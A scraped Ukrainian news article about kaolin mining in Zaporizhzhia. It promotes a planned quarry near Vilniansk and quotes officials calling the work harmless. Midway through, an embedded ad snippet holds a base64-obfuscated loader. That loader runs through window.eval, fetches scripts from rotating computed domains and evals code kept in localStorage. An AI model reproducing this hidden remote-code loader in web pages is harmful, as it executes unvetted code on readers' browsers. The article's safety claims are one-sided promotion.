Видобуток каоліну на Запоріжжі – не ноу-хау, а столітня практика. Де і в який спосіб видобувають «білу глину»? Та чи безпечно це?

В Україні зосереджені
понад 10% світових запасів каолінової глини. Загалом це понад 40 родовищ
каоліну, з яких 22 розробляється. На Запоріжжі, а саме у Пологівському
районі, каолін видобувають майже 100 років. Щороку – це близько 300
тисяч тон «білої глини», яку використовують в вогнетривкій і металургійній
промисловості, при виробництві фарфору, керамічних і фаянсових виробів, паперу
та керамічної цегли. Також Пологівський каолін постачають за межі країни – в
Італію, Іспанію, Німеччину, Польщу, Францію, Туреччину.

Невдовзі Білявський збагачувальний комбінат та каоліновий кар’єр
з’явиться і на Вільнянщині. За словами голови Запорізької обласної державної
адміністрації Олександра Старуха, «каолінові кар’єри – це не ноу-хау, а звична
практика».

Олександр Старух про каоліновий кар’єр (фрагмент ефіру «радіо на дотик») pic.twitter.com/RfHiJ2RUMl

— Акцент (@AkzentZaporozhe) January 25, 2021

(фрагмент ефіру «радіо на дотик»)

Сам каолін – це глиняна
порода. Він безпечний для видобутку та переробки. Найчастіше його
використовують при виробництві паперу, кераміки, мінеральних фарб та в
промисловій галузі. Каолін — джерело
кальцію, заліза, магнію, калію, натрію, кремнію, фосфору та інших корисних для
здоров’я людини речовин. Його використовують у фармакології та у виробництві
косметики.

«Білу глину» в Україні
навчилися видобувати ще у 20 столітті і навіть забезпечувала понад 70% потреб
колишнього Радянського Союзу у каоліні. Місце народження цієї корисної копалини
знайдені на території Кропивницької, Вінницької, Дніпропетровської, Сумської,
Житомирської, Черкаської та Запорізької областей.

Каолінові кар’єри одні
із найбезпечніших у світі. Добування «білої глини» абсолютно не шкодить здоров’ю людей. Запевняє
фахівець з радіаційної гігієни Запорізького обласного лабораторного центру МОЗ
України Михайло Костенецький.

Фахівець з радіаційної гігієни Запорізького обласного лабораторного центру МОЗ України Михайло Костенецький щодо безпечності каолінів pic.twitter.com/drEXA6GyMe var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

— Акцент (@AkzentZaporozhe) January 25, 2021

Безпечність та
ефективність видобутку каоліну вже було
доведено на прикладах інших областей України. Наприклад, на Вінниччині, у
селищі Глухівці із 1905 року добувають та очищають каолін. Збагачувальний
комбінат у 2007 там створив три сотні робочих місць, а зарплата для маленького
села сягає 14 тисяч гривень.

Добування там «білої глини» абсолютно не шкодить екології.
Навпаки, біля кар’єра утворилося справжнє природне диво: озеро, що через високу
концентрацію глини набуло небесно-блакитного кольору. Саме сюди тепер проїздять
туристи для гарних фото і називають це місце, поруч із діючим збагачувальним
комбінатом, турецьким Памуккале.

Таке ж природне диво
спостерігається і в Первомайському районі, Миколаївської області. Там протягом
20 років видобували каолін. На місці родовища утворилось озеро лазурного
кольору.

Побудувати каоліновий
кар’єр планують і на Запоріжжі. Розроблений проект за німецьким аналогом із
дотриманням усіх сучасних вимог та екологічної безпечності. Біляївський
збагачувальний комбінат розташується на
території Павлівської ТГ, поблизу сіл Біляївка, Зелене та міста Вільнянськ.
Добувати «білу глину» планують за
сучасними технологіями: відкритим
способом, без використання вибухових
пристроїв і жодних хімічних процесів. Таким чином пилу від виробництва буде
менше ніж від трактора, який проїхав по дорозі.

Кар’єр та збагачувальний
комбінат, що планують побудувати на Вільнянщині, забезпечить робочими місцями
більше сотні місцевих мешканців, а також
це щорічні грошові надходження до «скарбниці» ТГ у розмірі річного бюджету
Павлівської громади.

За рівнем радіації, якістю ґрунту та води увесь період будівництва Біляївського збагачувального комбінату та кар’єра будуть слідкувати фахівці лабораторного центру та геологи. Компанія-забудовник надаватиме доступ до усіх необхідних проб і у період безпосереднього добування каоліну. (adsbygoogle = window.adsbygoogle || []).push({});

Подписывайтесь на Акцент в Источник: https://akzent.zp.ua/vidobutok-kaolinu-na-zaporizhzhi-ne-nou-hau-a-stolitnya-praktika-de-i-v-yakij-sposib-vidobuvayut-bilu-glinu-ta-chi-bezpechno-tse/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

нет
scroll to top